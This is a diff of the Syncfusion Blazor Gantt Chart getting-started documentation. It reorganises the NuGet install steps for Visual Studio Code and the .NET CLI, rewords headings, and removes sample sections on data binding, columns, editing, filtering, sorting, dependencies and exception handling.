 {% tabcontent Visual Studio Code %}
@@ -33,7 +54,7 @@ Create a **Blazor Web App** using Visual Studio via [Microsoft Templates](https:
 
 * [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
 
-## Create a new Blazor Web App in Visual Studio Code
+## Create a new Blazor Web App
 
 Create a **Blazor Web App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor Web App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app?tabcontent=visual-studio-code) documentation.
 
@@ -49,6 +70,23 @@ cd BlazorWebApp.Client
 {% endhighlight %}
 {% endtabs %}
 
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Gantt](https://www.nuget.org/packages/Syncfusion.Blazor.Gantt) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the integrated terminal.
+
+Run the following commands in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>):
+
+{% tabs %}
+{% highlight C# tabtitle="VS Code Terminal" %}
+
+dotnet add package Syncfusion.Blazor.Gantt --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+If using the `WebAssembly` or `Auto` render modes in the Blazor Web App, run these commands in the client project directory.
+
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -65,7 +103,7 @@ dotnet --version
 {% endhighlight %}
 {% endtabs %}
 
-## Create a Blazor Web App using .NET CLI
+## Create a Blazor Web App
 
 Run the following command to create a new Blazor Web App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor Web App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app?tabcontent=.net-cli) documentation.
 
@@ -81,43 +119,30 @@ cd BlazorApp.Client
 {% endhighlight %}
 {% endtabs %}
 
-{% endtabcontent %}
-
-{% endtabcontents %}
-
-N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Web App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
-
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Gantt](https://www.nuget.org/packages/Syncfusion.Blazor.Gantt) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install [Syncfusion.Blazor.Gantt](https://www.nuget.org/packages/Syncfusion.Blazor.Gantt) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages using the .NET CLI.
 
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+Run the following commands in your command prompt, terminal, or command shell:
 
 {% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+{% highlight C# tabtitle=".NET CLI" %}
 
-Install-Package Syncfusion.Blazor.Gantt -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Gantt --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-If using the `WebAssembly` or `Auto` render modes in the Blazor Web App, install these packages in the client project.
-
-N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+If using the `WebAssembly` or `Auto` render modes in the Blazor Web App, run these commands in the client project directory.
 
-## Add import namespaces
-
-After the packages are installed, open the **~/_Imports.razor** file in the client project and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Gantt` namespaces.
+{% endtabcontent %}
 
-{% tabs %}
-{% highlight C# tabtitle="~/_Imports.razor" %}
+{% endtabcontents %}
 
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Gantt
+N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Web App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
 
-{% endhighlight %}
-{% endtabs %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
@@ -141,6 +166,9 @@ N> If the **Interactive Render Mode** is set to `WebAssembly` or `Auto`, registe
 
 The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/Components/App.razor** file.
 
+- Add the **stylesheet reference inside the `<head>` tag** of the `App.razor` file.
+- Add the **script reference inside the `<body>` tag** of the `App.razor` file.
+
 ```html
 
 <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
@@ -160,7 +188,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor %}
 
-@* desired render mode define here *@
+@* Define the desired render mode here *@
 @rendermode InteractiveAuto
 
 {% endhighlight %}
@@ -216,421 +244,21 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/VthyWNVzLgvAOlvq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
-## Binding Gantt Chart with data and mapping task fields
-
-Bind data with the Gantt Chart component by using the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_DataSource) property. It accepts the list objects or the DataManager instance. 
+### Run the application
 
-Additionally, task-related fields from the data source are mapped to the Gantt Chart component using the [GanttTaskFields](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html) property. This property ensures that the necessary task fields, such as [Id](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Id), [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Name), [StartDate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_StartDate), [EndDate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_EndDate), [Duration](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Duration), and [ParentID](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_ParentID) are properly linked to the corresponding data source fields, allowing the Gantt Chart to render tasks accurately. The columns in the Gantt Chart are automatically rendered based on the properties specified in `GanttTaskFields`, ensuring that the necessary columns are displayed to represent the task data.
-
-This following sample shows self-referential data binding in the Gantt Chart by mapping the data source fields to the `Id` and `ParentID` properties. For more detailed information, refer to the [documentation](https://blazor.syncfusion.com/documentation/gantt-chart/data-binding#self-referential--flat-data-binding).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+**Visual Studio**:
 
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-</SfGantt>
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. The Blazor Gantt Chart component will render in your default web browser.
 
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
+**Visual Studio Code or .NET CLI**:
 
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjLeMZLfLAFkPmGF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-## Defining columns
-
-The Gantt Chart has an option to define columns using the [GanttColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumns.html) component. To configure each column, use the following properties:
-
-* [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_Field): Maps the data source fields to the columns.
-* [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_HeaderText): Changes the title of columns.
-* [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_TextAlign): Changes the alignment of columns. By default, columns will be left aligned. To change the columns to right align, set `TextAlign` to right.
-* [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_Format): Formats the number and date values to standard or custom formats. Here, it is defined for the conversion of numeric values to currency.
-* [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_Visible): Show or hide a particular column. By default, columns are visible. Set this property to **false** to hide the column or **true** to make it visible.
-* [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_Width): To specify the width of the column, which can be defined in **pixels** or as a **percentage** of the total column width.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Grids
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-    <GanttColumns>
-        <GanttColumn Field="TaskID" HeaderText="Task ID" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right" Width="100"></GanttColumn>
-        <GanttColumn Field="TaskName" HeaderText="Task Name" Width="250"></GanttColumn>
-        <GanttColumn Field="StartDate" HeaderText="Start Date" Width="250"></GanttColumn>
-        <GanttColumn Field="Duration" HeaderText="Duration" Width="250"></GanttColumn>
-        <GanttColumn Field="Progress" HeaderText="Progress" Format="@NumberFormat" Width="250"></GanttColumn>
-    </GanttColumns>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    private string NumberFormat = "C";
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZLeWDVzBAiIgBkv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-For further details regarding columns, refer [here](https://blazor.syncfusion.com/documentation/gantt-chart/columns).
-
-## Enable editing
-
-The editing feature enables you to edit the tasks in the Gantt Chart component. To activate this functionality, set both [EditSettings.AllowEditing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttEditSettings.html#Syncfusion_Blazor_Gantt_GanttEditSettings_AllowEditing) and [EditSettings.AllowTaskbarEditing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttEditSettings.html#Syncfusion_Blazor_Gantt_GanttEditSettings_AllowTaskbarEditing)  properties to **true**.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-    <GanttEditSettings AllowEditing="true" Mode="Syncfusion.Blazor.Gantt.EditMode.Auto" AllowTaskbarEditing="true"></GanttEditSettings>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZLeWDVzBAiIgBkv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-N> When the edit mode is set to `Auto`, you can change the cells to editable mode by double-clicking anywhere at the Tree Grid and edit the task details in the edit dialog by double-clicking anywhere at the chart.
-
-You can find the full information regarding Editing from [here](https://blazor.syncfusion.com/documentation/gantt-chart/managing-tasks)
-
-## Enable filtering
-
-The filtering feature enables you to view the reduced amount of records based on filter criteria. The Gantt Chart supports column-wise menu filtering. To enable this feature, set the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_AllowFiltering) property to **true**. The filtering behavior can be customized using the [FilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_FilterSettings) property.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px" AllowFiltering="true">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjheMNhfrqtjOYfG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-You can find the full information regarding Filtering from [here](https://blazor.syncfusion.com/documentation/gantt-chart/filtering)
-
-## Enable sorting
-
-The sorting feature enables you to order the records. To enable sorting in the Gantt Chart, set the [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_AllowSorting) property to **true**. The sorting behavior can be customized using the [SortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_SortSettings) property to define the sorting configuration.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px" AllowSorting="true">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjLeCZLJVrvlKPai?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-You can find the full information regarding Sorting from [here](https://blazor.syncfusion.com/documentation/gantt-chart/sorting)
-
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/GanttChart).
-
-## Enabling Predecessors or task relationships
-
-The Gantt Chart component supports task dependencies to define the logical sequence of task execution. These relationships control the scheduling behavior between tasks based on their start and finish times.
-
-- **Start to Start (SS)**: The successor task begins when the predecessor task begins.
-- **Start to Finish (SF)**: The successor task finishes when the predecessor task begins.
-- **Finish to Start (FS)**: The successor task begins when the predecessor task finishes.
-- **Finish to Finish (FF)**: The successor task finishes when the predecessor task finishes.
-
-These relationships can be configured using the [Dependency](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Dependency) property in the task data.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID" Dependency="Predecessor">
-    </GanttTaskFields>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public string Predecessor { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    public static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>() {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 04, 05), EndDate = new DateTime(2022, 04, 21), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 04, 05), Duration = "4", Progress = 50, ParentID = 1 },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 04, 05), Duration = "4", Progress = 50, ParentID = 1, Predecessor = "2" }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjrSsXrzhfcIfBtG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-You can find the full information regarding Predecessors from [here](https://blazor.syncfusion.com/documentation/gantt-chart/task-dependencies)
-
-## Handling exceptions
-
-Exceptions triggered during Gantt operations can be handled effectively without interrupting the application. These errors are captured using the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttEvents-1.html#Syncfusion_Blazor_Gantt_GanttEvents_1_OnActionFailure) event, which provides detailed information returned from the server. This allows for appropriate handling, logging, or user notification without affecting the overall workflow.
-
-Common errors and their resolutions:
-
-* **ResourceFields Configuration Error**
-
-    Ensure that the [ResourceFields](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_ResourceFields) are properly configured by following the guidelines in the [Resource View documentation](https://blazor.syncfusion.com/documentation/gantt-chart/resource-view).
-
-* **GanttTaskFields Configuration Error**
-
-    Ensure that the [GanttTaskFields](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_TaskFields) are properly configured by following the guidelines in the [Hierarchical Data Binding documentation](https://blazor.syncfusion.com/documentation/gantt-chart/data-binding#hierarchical-data-binding).
-
-* **HasChildMapping Configuration Error**
-    
-    Ensure that the [HasChildMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_HasChildMapping) property is properly configured for load-on-demand by following the guidelines in the [Load Child On Demand documentation](https://blazor.syncfusion.com/documentation/gantt-chart/data-binding#load-child-on-demand).
-
-* **GanttSegmentFields.StartDate Configuration Error**
-
-    Ensure that the [GanttSegmentFields.StartDate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttSegmentFields-2.html#Syncfusion_Blazor_Gantt_GanttSegmentFields_2_StartDate) field is properly configured by following the guidelines in the [Split Task documentation](https://blazor.syncfusion.com/documentation/gantt-chart/split-task).
-
-The following sample code demonstrates notifying user when server-side exception has occurred during data operation,
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Data
-@using Syncfusion.Blazor.Gantt
-@using Syncfusion.Blazor.Grids
-
-<label class="error" style="display:block; color: red; margin-bottom: 20px;">@ErrorDetails</label>
-<SfGantt TValue="TaskData" Height="450px" Width="700px">
-     <SfDataManager Url="https://some.com/invalidUrl" Adaptor="Adaptors.UrlAdaptor"></SfDataManager>
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration"
-        Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-    <GanttEvents TValue="TaskData" OnActionFailure="ActionFailure"></GanttEvents>
-</SfGantt>
-
-@code{
-    private string ErrorDetails = "";
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime? StartDate { get; set; }
-        public DateTime? EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    public void ActionFailure(Syncfusion.Blazor.Grids.FailureEventArgs args)
-    {
-        this.ErrorDetails = args.Error.Message.ToString();
-        StateHasChanged();
-    }
-}
-
